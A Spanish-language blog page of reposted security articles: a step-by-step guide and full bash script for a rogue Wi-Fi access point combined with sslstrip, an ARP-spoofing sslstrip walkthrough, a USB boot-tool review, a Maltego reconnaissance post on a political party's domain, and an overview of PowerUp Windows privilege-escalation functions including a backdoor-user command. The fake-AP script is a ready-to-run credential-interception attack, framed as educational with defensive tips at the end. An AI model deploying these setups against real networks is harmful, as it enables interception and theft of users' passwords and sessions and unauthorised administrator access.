Banner 1

Punto de acceso wifi falso + SSLTrip [Backtrack 5]

0 comentarios

¿Qué es un punto de acceso?

Un punto de acceso inalámbrico o AP (Access Point) es un dispositivo que permite la conexión inalámbrica de un equipo móvil de cómputo (ordenador, tableta, smartphone) con una red. Generalmente los puntos de acceso tienen como función principal permitir la conectividad con la red, delegando la tarea de ruteo y direccionamiento a servidores, routers y switches. La mayoría de los AP siguen el estándar de comunicación 802.11 de la IEEE lo que permite una compatibilidad con una gran variedad de equipos inalámbricos.

¿Realmente navegamos seguros en redes wifi?

Vamos a demostrar la facilidad de montar un Punto de acceso falso (Fake AP) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
Todo lo realizado a continuación es a modo de aprendizaje, no nos hacemos responsable del mal uso que un usuario le pueda dar.

Requisitos

  • Adaptador Wifi (con soporte modo monitor).
  • Antena Wifi.
  • Linux Backtrack 5 (ISO o CD).
  • VirtualBox (Si usamos Backtrack en CD Live no seria necesario).
  • Conexión a Internet.

Software usado

  • Aircrack-ng (para crear punto de acceso falso con airbase-ng)
  • dhcp3-server (para asignar ips privadas a los clientes que se conecten) – Opcional
  • bind9 o dnsmasq (para resolver nombres de dominio)
  • iptables (para redireccionar el tráfico y hacer ip forward)
  • tar (para desempaquetar archivos tar)
  • python (para usar ssltrip)
  • ssltrip (para obtener credenciales)
  • tcpdump (para capturar el tráfico) – Opcional
  • WireShark (para analizar las capturas) – Opcional
  • NetworkMiner (para extraer datos de las capturas de forma automatizada)

Paso 1 – Iniciar máquina virtual o CD Live

Lo primero que necesitamos es crear una máquina virtual con la imagen ISO de Backtrack 5 o iniciar desde un CD Live.
Si usamos Backtrack 5 desde máquina virtual con VirtualBox debemos asociar el adaptador Wifi USB a la máquina virtual desde el menú:
Dispositivos >> Dispositivos USB >> “Nombre de nuestro adaptador Wifi USB”
VirtualBox - Dispositivo USB
VirtualBox – Dispositivo USB
Backtrack 5 por defecto trae el idioma del teclado en inglés, por comodidad si lo queremos poner en español, ejecutamos este comando:
0001
setxkbmap -layout es

Paso 2 – Instalar software necesario

Una vez iniciado Backtrack 5 necesitamos instalar un servidor DHCP (dhcp3-server) para asignar IPs privadas a los clientes y un servidor DNS (dnsmasq o bind) para la resolución de nombres de dominio.
Actualizamos los paquetes de los repositorios:
0001
apt-get update
*Deben estar configurados previamente los repositorios en: /etc/apt/sources.list
Instalamos el servidor DHCP:
0001
apt-get install dhcp3-server
Instalamos el servidor DNS (en este ejemplo hemos usado dnsmasq pero se podría usar bind9 también):
0001
apt-get install dnsmasq

Paso 3 – Establecer el adaptador wifi en modo monitor

Nos aseguramos de tener el adaptador wifi conectado correctamente usando el comando:
0001
iwconfig
Nos debería aparecer algo así:

iwconfig
iwconfig

*Dependiendo del dispositivo puede que no aparezca wlan0 y se muestre con otro nombre. Para saber si es una interfaz wifi debe aparecer: 802.11.
Necesitamos establecer el adaptador Wifi en modo monitor para poder montar el punto de acceso.
Modo monitor:
0001
airmon-ng start wlan0
ó
0001
ifconfig wlan0 mode monitor
*Hay varias formas para poner el adaptador en modo monitor pero es recomendable usar airmon-ng ya que este nos crea una nueva interfaz llamada mon0, mon1, mon2

Paso 4 – Crear punto de acceso wifi falso

Una vez que tengamos nuestro adaptador wifi en modo monitor, creamos el punto de acceso, donde debemos especificar el nombre de la red, el canal wifi a usar y la interfaz en modo monitor (creada anteriormente). Crearemos una red abierta sin contraseña.
0001
airbase-ng -P -C -c --essid
-P: Responde a todos los escaneos de redes wifi.
-C: Especifica cada cuantos segundos se envían beacons para anunciar el nombre de la red.
-c: Canal wifi.
–essid: Nombre de la red.
Por ejemplo:
0001
airbase-ng -P -C 2 -c 6 --essid "Security Null" mon0
*Canal: 6
*Nombre de la red: Security Null
*Interfaz monitor: mon0
Una vez creado el punto de acceso falso, airbase-ng nos habrá creado una nueva interfaz llamada at0 (podemos verificarlo usando el comando ifconfig). Ahora asignamos una dirección IP y máscara de subred a esta nueva interfaz (esta interfaz es por la que pasará todo el tráfico de la red wifi).
0001
ifconfig at0 netmask up
Por ejemplo:
0001
ifconfig at0 192.168.2.1 netmask 255.255.255.0 up
*No usar una dirección IP usada actualmente en vuestra red o no funcionará.

Paso 5 – Configurar e iniciar servidor DHCP

En este momento nuestro punto de acceso seria accesible y visible y nos podríamos conectar pero nos daría error obteniendo dirección IP al no tener un servidor DHCP que nos asigne una dirección IP privada.
Nota: Podemos prescindir de dhcp3-server y usar solo dnsmasq, ya que dnsmasq también tiene las funcionalidades de servidor DHCP. Si prefiere usar solo dnsmasq, ignore este paso y pase al siguiente.
Editamos el archivo:
/etc/dhcp3/dhcpd.conf
Con el siguiente contenido:
ddns-update-style none;
option domain-name-servers 192.168.2.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.50 192.168.2.100;
option routers 192.168.2.1;
option domain-name-servers 192.168.2.1;
}
*Usamos un rango de IPs desde: 192.168.2.50 a 192.168.2.100, con lo cual solo podría haber 50 clientes conectados simultáneamente, es más que suficiente.
Si ya tenemos el servidor DHCP iniciado lo cerramos usando:
0001
0002
killall dhcpd3
/etc/init.d/dhcp3-server stop
Iniciamos el servidor DHCP indicándole el nuevo archivo de configuración (-cf) y la interfaz at0:
0001
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Paso 6 – Configurar e iniciar servidor DNS

En este momento ya tenemos conectividad con la red wifi falsa pero no podríamos resolver nombres de dominio, para ello editamos el archivo:
/etc/dnsmasq.conf
Con el siguiente contenido:
listen-address=192.168.2.1,127.0.0.1
Si no queremos usar dhcp3-server, ya que dnsmasq también hace de servidor DHCP, en el archivo anteriormente editado (dnsmasq.conf) añadimos al final lo siguiente (si estamos usando dhcp3-server, ignorar esto):
interface=at0
dhcp-range=192.168.2.50,192.168.2.100,255.255.255.0,12h
log-dhcp
dhcp-authoritative
Si ya tenemos el servidor DNS iniciado lo cerramos usando:
0001
0002
killall dnsmasq
/etc/init.d/dnsmasq stop
Iniciamos el servidor DNS:
0001
dnsmasq -a 192.168.2.1 -d -i at0 -z -C /etc/dnsmasq.conf -I lo

Paso 7 – Activar ip forward y aplicar reglas para iptables

Es necesario activar ip forward para reenviar paquetes desde una interfaz a otra, podemos activar esta opción de varias formas:
0001
sysctl net.ipv4.ip_forward=1
ó
0001
echo 1 > /proc/sys/net/ipv4/ip_forward
Debemos aplicar unas reglas en iptables para redirigir el tráfico procedente de la red wifi falsa a una interfaz con conexión a Internet.
0001
0002
0003
0004
iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -j REDIRECT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
*En este ejemplo hemos usado una conexión a Internet por cable usando la interfaz eth0.
*La última regla es usada para ssltrip, donde le indicamos que redireccione todo el tráfico del puerto 80 al 8080 que será el que usemos en ssltrip.

Paso 8 – Esnifar o capturar tráfico de la red wifi (Opcional)

Opcionalmente podemos usar un esnifer para capturar todo el trafico generado en la red wifi.
Podemos usar tanto wireshark o tcpdump.
tcpdump:
0001
tcpdump -w dump.pcap -i at0
-w: Nombre de la captura.
-i: Interfaz de la cual capturar el tráfico (at0 = Interfaz de nuestro punto de acceso falso).

Paso 9 – Instalar e iniciar SSLTrip

Por último solo nos quedaría instalar ssltrip. Esta herramienta actúa como un servidor proxy y se encarga de detectar cuando un usuario esta accediendo a una web a través de HTTPS y reemplaza HTTPS por HTTP, de esta forma capturamos el tráfico sin cifrar.
*Algunos servidores solo dejan entrar a través de HTTPS, con lo cual puede que no sirva para todos.
Descargamos la herramienta de la web del creador:
http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
Lo descomprimimos y desempaquetamos:
0001
tar -xvzf sslstrip-0.9.tar.gz
Cambiamos de directorio a su carpeta:
0001
cd sslstrip-0.9
Lo instalamos:
0001
python ./setup.py install
Y finalmente lo ejecutamos:
0001
sslstrip -w ../ssl.cap -l 8080
-w: Nombre del archivo donde se guardarán los datos capturados.
-l: Puerto donde escuchará ssltrip.

Automatizando el proceso

Para automatizar todo este proceso hemos creado un script en bash que lo realiza todo de forma automática y mucho más rápido:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018
0019
0020
0021
0022
0023
0024
0025
0026
0027
0028
0029
0030
0031
0032
0033
0034
0035
0036
0037
0038
0039
0040
0041
0042
0043
0044
0045
0046
0047
0048
0049
0050
0051
0052
0053
0054
0055
0056
0057
0058
0059
0060
0061
0062
0063
0064
0065
0066
0067
0068
0069
0070
0071
0072
0073
0074
0075
0076
0077
0078
0079
0080
0081
0082
0083
0084
0085
0086
0087
0088
0089
0090
0091
0092
#!/bin/bash
 
# Settings
wlan_interface="wlan0"
interface_monitor="mon0"
internet_interface="eth0"
essid="SecurityNull"
ap_channel=6
network="192.168.2.0"
ip="192.168.2.1"
mask="255.255.255.0"
ip_start="192.168.2.50"
ip_end="192.168.2.100"
 
if [ "$UID" -ne 0 ]
then
    echo "[!] Require ROOT!!"
    exit 0
fi
 
apt-get update
apt-get install dhcp3-server
#apt-get install bind9
apt-get install dnsmasq
 
# Interface Mode Monitor
airmon-ng stop $interface_monitor
airmon-ng start $wlan_interface
sleep 3
 
# Fake AP
killall airbase-ng
xterm -e airbase-ng -P -C 2 -c $ap_channel --essid "$essid" $interface_monitor &
sleep 3
 
ifconfig at0 $ip netmask $mask up
#ifconfig at0 $ip/24 up
 
# DHCP Server
echo "
ddns-update-style none;
option domain-name-servers $ip;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet $network netmask $mask {
range $ip_start $ip_end;
option routers $ip;
option domain-name-servers $ip;
}
" > /etc/dhcp3/dhcpd.conf
killall dhcpd3
/etc/init.d/dhcp3-server stop
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
 
# DNS Server
echo "
listen-address=192.168.2.1,127.0.0.1
#interface=at0
#dhcp-range=$ip_start,$ip_end,$mask,12h
#log-dhcp
#dhcp-authoritative
" > /etc/dnsmasq.conf
killall dnsmasq
/etc/init.d/dnsmasq stop
xterm -e dnsmasq -a $ip -d -i at0 -z -C /etc/dnsmasq.conf -I lo &
 
#killall bind9
#/etc/init.d/bind9 restart
 
# IP Routing
#sysctl net.ipv4.ip_forward=1
echo 1 > /proc/sys/net/ipv4/ip_forward
 
# IPTables
iptables -t nat -F
iptables -t nat -A PREROUTING -i $internet_interface -j REDIRECT
iptables -t nat -A POSTROUTING -o $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
 
# TCP Dump
xterm -e tcpdump -w dump.pcap -i at0 &
 
# SSL Trip
if [ ! -d "sslstrip-0.9" ]; then
    wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
    tar -xvzf sslstrip-0.9.tar.gz
fi
cd sslstrip-0.9
python ./setup.py install
sslstrip -w ../ssl.cap -l 8080
*Script desarrollado para Linux Backtrack 5, en Kali fue probado y no funciona, se tendría que modificar para adaptarlo.
Antes de ejecutarlo debemos darle permisos de ejecución:
0001
chmod 755 fakeap.sh
Ejecutamos el script:
0001
./fakeap.sh
*SE NECESITAN PERMISOS ‘ROOT’ PARA SU EJECUCIÓN.
*No requiere de ningún parámetro, para modificar alguna opción se deben modificar las variables del principio del script.
Una vez ejecutado el script se abrirán otras 3 ventanas donde se verán los clientes asociados, la asignación de direcciones IP privadas de DHCP
FakeAp
FakeAp

A esperar…

Ahora solo nos tocaría esperar a que un cliente se conecte…
En la ventana donde tenemos ejecutándose airbase-ng nos aparecerán los clientes asociados.

Pruebas

Realizamos una prueba y creamos un punto de acceso falso, donde conectamos a una cuenta de gmail usando HTTPS, podemos ver la captura de ssltrip, y vemos que aparece la contraseña sin cifrar:

Captura SSLTrip
Captura SSLTrip

También podemos ver información abriendo la captura con Wireshark:

Wireshark - Análisis
Wireshark – Análisis

Pero como podemos ver usando herramientas como NetworkMiner, con esta herramienta podemos analizar una captura y extraer información sensible de forma más automatizada que usando Wireshark, como por ejemplo: host a donde nos hemos conectado, archivos e imágenes descargadas, sesiones, credenciales…

NetworkMiner - Hosts
NetworkMiner – Hosts

NetworkMiner - Imágenes
NetworkMiner – Imágenes
De esta forma no solo evitamos el HTTPS sino que obtendríamos contraseñas de redes sociales, páginas visitadas y mucha más información.

Conclusión

No existe seguridad al conectarse a redes abiertas (sin contraseña) o con cifrado WEP ya que cualquiera con conocimientos básicos podría estar esnifando el tráfico y ver todo lo que hacemos. Si deseamos estar seguros al conectarnos a este tipo de redes es recomendable usar una VPN como mínimo.
Si realmente te importa tu privacidad, jamás te conectes a una red abierta sin tomar las medidas de protección necesarias, ya que aunque ni siquiera naveguemos en la red, nuestro dispositivo comprueba actualizaciones, el correo electrónico, las redes sociales que tengamos abiertas en segundo plano o incluso si tenemos WhastApp, todo esto realizado de forma automática y quedaría registrado por un atacante.

FUENTES


http://es.wikipedia.org
http://www.thoughtcrime.org
http://safetybits.net

Post original
http://www.securitynull.net/punto-de-acceso-wifi-falso-ssltrip-backtrack-5/comment-page-1/

SSLstrip : Cómo descifrar todo el tráfico HTTPS

0 comentarios
SSLSTrip es una aplicación para sistemas operativos Linux capaz de “descifrar todo el tráfico HTTPS” que viaja a través de la red y sniffar el tráfico (usuarios y claves) que viaja a través de la red en “HTTPS (cifrado)”. En este tutorial os vamos a enseñar un poco más a fondo cómo funciona.
Para lograr nuestro objetivo, haremos un ataque Man In The Middle, que consiste en ponernos a “escuchar” las comunicaciones entre el servidor y el propio cliente.
¿SSLStrip descifra el protocolo SSL?, la respuesta es no. Lo que hace realmente SSLStrip es engañar al servidor y convertir todo el HTTPS de una web en HTTP (sin cifrar) . El script solo puede “engañar” cuando la víctima llega a la web en cuestión mediante una redirección o un LINK.
En la página web oficial podéis encontrar el enlace de descarga y un breve manual para empezar a utilizar SSLSTRIP.
Antes de empezar, debemos aclarar que el manual es básicamente un ataque simulado, no se va a explicar todo en detalle, simplemente os mostraremos como funciona SSLStrip haciendo una demostración en un tipo de ataque simulado.
Para este ataque simulado vamos a usar 2 máquinas conectadas a una misma red (1 máquina física y una máquina virtual), los roles desempeñados por cada máquina van a ser los siguientes:
Máquina física : Kubuntu 11.04 – Víctima.
Máquina virtual: Backtack 5 – Atacante.
Herramientas necesarias para el atacante:
SSLStrip
Sniffer(Wireshark,Ettercap..)
Arpspoof
Iptables
Nmap (opcional, no es necesario si sabemos la IP de la víctima, o si usamos otra técnica para detectarla)
Empezamos el ataque:
Lo primero que debe conocer el atacante es la IP privada de la víctima (nosotros para este ataque simulado hemos optado por usar Nmap para descubrir la IP) en nuestro caso es bastante fácil ya que solo hay 3 Host activos (el propio atacante, la víctima y el router).
Para realizar este proceso de detección lo que haremos será escanear toda la red local en busca de Host activos (seguramente se os ocurrirán más maneras, no obstante por nuestra parte pensamos que ésta es la más utilizada).
Primero averiguamos nuestra IP privada en la red con ifconfig. Típicamente los routers empiezan a agregar IPs, manteniendo los tres primeros grupos de cifras por ejemplo:192.168.0.* donde * es el número que varía y el resto se mantiene igual.
Por supuesto, el router puede estar configurado de otra forma, y puede que tengamos que sacar la IP como podamos, por ejemplo, por medios de ingeniería social si tenemos contacto con la persona que maneja el PC víctima.

Como podéis ver, está activa la IP del atacante. Si hubiese más Host activos el atacante tendría que ir tirando de técnicas de fingerprinting e ir contrastando los resultados de estas con las cosas que ya sabe de la víctima por ejemplo, si el atacante supiese que la víctima utiliza Windows 7, podría hacer un OS Fingerprint(flag -O en Nmap) para saber el OS que utilizan los Host que están activos, descartando así todos los que no utilicen Windows 7 ya que no serían la víctima.
Llegados a este punto el atacante deberá configurar el enrutamiento de su PC (también podría haberlo hecho antes). Si no se activase el enrutamiento el ataque podría ser un desastre, ya que la víctima técnicamente se quedaría sin internet, porque sus peticiones jamas llegarían a su destino, se quedarían en el PC del atacante y por tanto no habría respuestas.

A continuación, el atacante deberá configurar una IPTABLE para redirigir todo el trafico del puerto 80 a otro puerto. El atacante podría omitir este paso y poner directamente a escuchar el SSLStrip directamente al puerto 80 pero esto obligaría a la víctima a aceptar un certificado falso, cosa que ya era capaz de hacer otras herramientas.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port

Siguiendo con el ataque, una vez que el atacante tiene la IP de la víctima, este deberá proceder a realizar un ataque MITM. Para esto usará ARPSpoof:

Ahora es el momento en el que empieza la parte complicada del ataque, hasta ahora hemos hecho lo siguiente:
Por ahora el atacante ha obtenido la IP de la víctima y tiene todo su trafico redireccionado hacia sí mismo (ataque MITM), y ahora mismo se dispone a conseguir en texto planto todo lo que pase cifrado en SSL.
El proceso es simple deberemos lanzar SSLStrip y ponerlo a escuchar en el puerto al que hemos redireccionado el trafico.

Ya esta todo listo ahora solo necesitamos que pase algo como esto:
Pantalla de la víctima entrando en por ejemplo a www.paypal.com ; con las siguientes credenciales: Correo = Correodeprueba ; Contraseña: Contraseñadeprueba
Pantalla del atacante monitorizando el trafico y obteniendo la contraseña mediante Wireshark

Aquí finaliza nuestro ataque simulado, esperamos que os haya gustado.
Cómo detectar el ataque MITM y SSLStrip:
-Fijándonos en la única diferencia que se presenta al visitar una web que use SSL cuando estamos bajo este ataque, que la dirección en vez de ser https es http.
Como protegerse de estos ataques:

-Escribiendo siempre en la barra de direcciones del navegador https:// cuando entremos a web que sabemos que usan SSL(o lo sospechamos).

Fuente: http://www.redeszone.net/seguridad-informatica/sslstrip/

Build multi-boot USB keys with WinSetupFromUSB (ingles)

0 comentarios
WinSetupFromUSB

WinSetupFromUSB is a free tool which creates bootable USB keys from ISO images, perfect for anyone who wants a faster and more convenient way to launch PC boot discs.
As you’ll guess from its name, the program started life as a way to prepare USB keys to install Windows. It still does that very well, too, for every version from Windows 2000 to 8.1.
WinSetupFromUSB now also works with many Linux-based ISOs, though -- Debian, Ubuntu, Mint, Fedora, CentOS and more -- which also gets you support for many antivirus rescue disks.
The program can also work with PE and PE2-based images, Syslinux/ Isolinux-compatible discs, and anything else which can handle grub4dos CD emulation (Ultimate Boot CD, Acronis and Paragon boot disks and so on).

Best of all, WinSetupFromUSB can combine any of these images into a single environment, creating a USB key with a boot menu where you choose whatever you need.
Setting this up can be fairly straightforward. It’s really just a matter of choosing the type of ISO you’d like to add, then selecting those images, so you might be able to configure a combined Windows XP/ Vista/ 7/ 8 installation disc in just a few seconds.

This does become a little more complicated as you move away from Windows. You might want to add your own PC recovery disc, but should you choose the PE category, Linux/ Grub4dos, SysLinux/ IsoLinux? You’ll need to check the disc itself, or maybe browse WinSetupFromUSB’s online help for clues.
Even then, we experienced one or two issues while running the program. Our first attempts to create a bootable key failed with some error about the MBR, for instance, and instead of allowing us to tweak our settings and try again, WinSetupFromUSB just closed.


Still, for the most part WinSetupFromUSB worked very well. That’s no great surprise, as it uses some excellent free and open source tools to do much of the hard work (RMPrepUSB, BOOTICE, ImDisk, QEMU, FbinstTool and more). And if you take the time to explore everything they have to offer, you should be able to solve most ISO issues.

Fuente: http://betanews.com/2014/05/06/build-multi-boot-usb-keys-with-winsetupfromusb/

Maltego y los Partidos Políticos

0 comentarios
Hola a tod@s
Maltego es un programa capaz de recopilar información de internet y la representa de una forma muy gráfica generando un árbol de datos, todo para posteriormente facilitar su análisis. Con esta herramienta podremos encontrar empresas, sitios, persona, etc, disponemos de una versión completa y una versión gratuita, que es la que utilizaremos nosotros para este post.

Al iniciar la aplicación nos pedirá que nos registremos para poder utilizarla.
Para comenzar un nuevo proyecto, hacer clic sobre el icono indicado en la siguiente imagen de captura. 
Imagen 1: Creación Nuevo Proyecto


Estamos tratando con una herramienta muy potente, llena de opciones, en el lateral izquierdo de la aplicación encontramos un panel con todos los componentes que podemos agregara a un proyecto, como es un dominio, una localización, email, teléfonos e incluso personas. La paleta de componentes  se encuentra bien organizada con elementos como dispositivos, red social, pruebas de penetración, etc.
 


Imagen 2: Paleta de Componentes



Para este post vamos a investigar un dominio de un partido político, por ello no voy a decir si el partido es de España o de cualquier otra parte del mundo. Obviamente también las siguientes imágenes de capturas aparecerán ocultando el dominio, teléfonos, emails, personas, etc, todo para preservar los datos de esta gentuza, aunque Maltego recoge datos que son  públicos, algo parecido al Google Hacking estos datos pueden estar ahí conscientemente o por desconocimiento, no sería delito, pero mejor prevenir que curar. A ver si no se van a conformar con dejar al país hecho una mierda, robándonos y dejándonos en el paro, como es mi caso, también me van enchironar, lo que faltaba...


Imagen 3: Dominio a Investigar


Para comenzar con la recogida de información hacemos clic botón derecho del ratón sobre el dominio y aparecerá todas las opciones disponibles a buscar, nosotros le damos a trasformar todo, para que exprima bien y nos saque todo.
 

Imagen 4: Entidades Encontradas

A continuación, en cuestión de segundos la aplicación buscará y aparecerá un árbol dibujando todas las entidades encontradas y relacionándolas entre sí.

Ha encontrado mucha información, aunque en la imagen de pantalla no se puede apreciar el total de la captura, destacando personas o personajes, correos electrónicos que nos pueden servir en un test de penetración, con un poco de ingeniería social penetrar en el sistema.

Y sin olvidar lo más curioso de todo, los documentos encontrados y su posterior  análisis con la foca nos revelan metadatos interesantes. Sin duda Maltego es una buena herramienta en las primeras fases de un test de intrusión como es footprinting.


Como ya han demostrado muchas veces mis compañeros, los políticos y los gobiernos no saben ni invierten en seguridad informática. Creo que con todo el dinero que han robado les daría para invertir más en seguridad informática y Srs contrátenme que estoy parado, mejor dicho estoy desempleado, porque parar no paro.

Fuente: http://www.estacion-informatica.com/2013/09/maltego-y-los-partidos-politicos.html

Herramienta de pentesting para escalar Privilegios en Windows: PowerUP

0 comentarios
 Bien una vez dicho esto, hoy vengo a presentaros una herramienta de pentesting llamada PowerUp bajo licencia GNU, herramienta de PowerShell para ayudar con la elevación local de privilegios en los sistemas Windows. Dicha herramienta nos permite encontrar métodos y servicios vulnerables y poder abusar de estos,  así como "secuestro" de DLL, configuraciones de registro vulnerables y sobre todo y más importante las posibilades de escalabilidad de privilegios dentro del sistema, la herramienta ha sido desarrollada por @harmj0y , el código de la herramienta esta aquí.
Bien vamos a explicar los distintos métodos de los cuales se compone esta herramienta:
Para probar la herramienta necesitamos el código, el cual se encuentra aquí:


Lo primero que necesitaremos hacer es copiar todo el código en nuestro PowerShell, de la siguiente manera:  


  1. Para los que no sepan como lanzar PowerShell o Instalarlo etc, aqui hay un manual de cómo utilizarlo, solo necesitareis leer de la pg 12 a la 13 para poder seguir esto, aunque os recomiendo que saquéis tiempo para leerlo entero ;-)  
  2. Bien una vez llegados a este punto en el que tengáis el PowerShell lanzado , solo tendremos que copiar todo el código en la consola de PowerShell  tal que así:  
  3. Una vez introducido todo el código de la herramienta podemos empezar a ver los distintos métodos en los que se compone: 


Service Enumeration:

  • Get-ServiceUnquoted: está función encuentra todos los servicios no cotizados, que también tienen un espacio (es decir, el modulo trusted_service_path.rb MSF). Si tienen algun servicio que hace referencia a algo como C:\Herramientas\Herramientas Personalizadas\estacioninformatica.exe, y tiene acceso de escritura al directorio base C:\Herramientas\, dejando caer un ejecutable a C:\Herramientas\herramientas.exe lo podrás ejecutar en ese programa, en vez del servicio original. Esto es debido a la ambigüedad de algunas funciones de la API de windows a las que hace referencia.
  • Get-ServiceEXEPerms: esta función busca todos los servicios en los que el usuario actual tiene permisos de escritura. Si se sustituye uno de estos ejecutables nos permitira secuestrar un servicio actual
  • Get-ServicePerms: esta función enumera todos los servicios disponibles para abrir el servicio
     para su modificación. Podremos cambiar la ruta binaria como por ejemplo
     "net user password backdoor/add" y posteriormente reiniciar el servicio.
     

    Service Abuse:

  • Invoke-ServiceUserAdd: esta función detiene un servicio, lo modifica, lo inicia, lo detiene y a continuación restaura la ruta original exe, es decir, permite abusar de todo lo que se encuentra en "Get-ServicePerms". Podremos detener un servicio, modificarlo para crear un usuario y añadirlo al grupo de administradores locales y reiniciamos el servicio, y se restaura la ruta binaria del servicio original
  • Write-UserAddServiceBinary: esta función toma un precompilado C# ejecutable, servicio y parches binarios con el nombre del servicio, nombre de usuario, contraseña, nombre del grupo para agregar, a continuación,  el binario a la ubicación especificada, es decir, nos permite secuestrar servicios de "Get-ServiceUnquoted", necesitaremos un servicio de C# precompilado y los parches binarios con el nombre del servicio, le metemos el usuario/contraseña y grupo y cuando se ejecute, el binario creara el usuario con los parámetros establecidos.
  • Write-ServiceEXE: esta función invoca "WtireServicePSBinary" reemplaza el binario para el servicio "VulnSVC" por uno que añade un usuario local con contraseña y el grupo administrador, es decir, se puede utilizar para abusar de binarios vulnerables que se encuentren en "GET-ServiceEXEPerms". Respaldaremos el exe para un servicio establecido, después utilizaremos "Write-UserAddServiceBinary" para reemplazar el ejecutable con uno que crea y agrega un administrador local.
  • Restore-ServiceEXE: esta función restaura la copia de seguridad original del archivo por la ruta del servicio manipulado, la cual devolverá true si se realizo correctamente o false en caso contrario. Con Restore-ServiceEXE podremos restaurr el ejecutable original

DLL Hijacking:

  • Invoke-FindDLLHijack: esta función comprueba todos los módulos cargados para cada proceso, y devuelve lugares donde no existe un modulo cargado en la ruta de la base ejecutable, es decir, busca servicios con posibles oportunidades de secuestro dll, si una carpeta de la norma %PATH% tiene permisos de escritura por el usuario actual pe: \Python27, podremos colocar un archivo DLL malicioso en determinados lugares para escalar privilegios.


  • Invoke-FindPathDLLHijack:  esta función comprueba si el PATH actual contiene cualquier directorio con permisos del usuario actual. Si existe, se puede escribir, entonces comprueba la versión de Windows y envía un servicio hijackable para la versión de windows correspondiente.

Registry Checks:

  • Get-RegAlwaysInstallElevated: esta función comprueba si la clave del registro  " AlwaysInstallElevated" está habilitada, es decir,  verificara el registro de windows para la clave AlwaysInstallElevated, si se encuentra habilitada, los instaladores MSI siempre se ejecutaran con privilegios elevados. hay un modulo de Metasploit llamado:  " always_install_elevated.rb" que explota este mismo comportamiento, "Write-UserAddMSI" que escribirá un archivo instalador MSI que cuando se ejecuta, pide una cuenta de usuario para añadir al grupo de administradores locales.
  • Get-RegAutoLogon: esta función comprueba las credenciales de sesión automática en el registro "DefaultUserName/DefaultPassword", es decir, comprobara si se ajusta la clave del registro "AutoAdminLogon", y procederá a sacar las credenciales en texto plano.

Misc. Checks:

  • Get-UnattendedInstallFiles: esta función comprueba ubicaciones de instalaciones desatendidas para obtener un archivo con credenciales de despliegue, es decir, comprobara la existencia de varios archivos desatendidos sobrantes, que suelen tener las credenciales administrativas en texto plano.

Helpers:

  • Invoke-AllChecks: esta función ejecuta todas las funciones que comprueban todas las opciones de escalar privilegios del sistema, es decir, chequeara todo y nos mostrara un informe con las opciones de escalar disponibles.
  • Write-UserAddMSI: esta función escribe un instalador MSI precompilado que solicita usuario/grupo. Esta función se puede utilizar para abusar Get-RegAlwaysInstallElevated.
  • Invoke-ServiceStart: esta función inicia un servicio especificado, permitiendo marcarlo como deshabilitado.
  • Invoke-ServiceStop: esta función para un servicio especificado, el cual nos devolverá verdadero si la función tuvo éxito o falso en caso contrario.
  • Invoke-ServiceEnable: invoca un servicio y lo habilita.
  • Invoke-ServiceDisable: esta función deshabilita/desactiva  un servicio especificado 
  •  Get-ServiceDetails: obtiene información detallada acerca de un servicio



Como podéis observar nos brinda grandes oportunidades y si le damos juego con la herramienta Pyinstaller podremos hacer grandes cosas, bien esta primera entrada es una introducción para poder centrarnos posteriormente detalladamente en cada funcionalidad de dicha herramienta con casos prácticos. Espero que os guste la herramienta y  trasteéis con ella. 
 


Aquí os dejo un libro y un artículo interesantes:
Bien antes de acabar volver a agradecer a @n0ipr0cs esta oportunidad muchas gracias ;-)

Un saludo desde el CPD (^_-)

Fuente: http://www.estacion-informatica.com/2014/05/herramienta-powerup.html
Powered by Bad Robot
Helped by Blackubay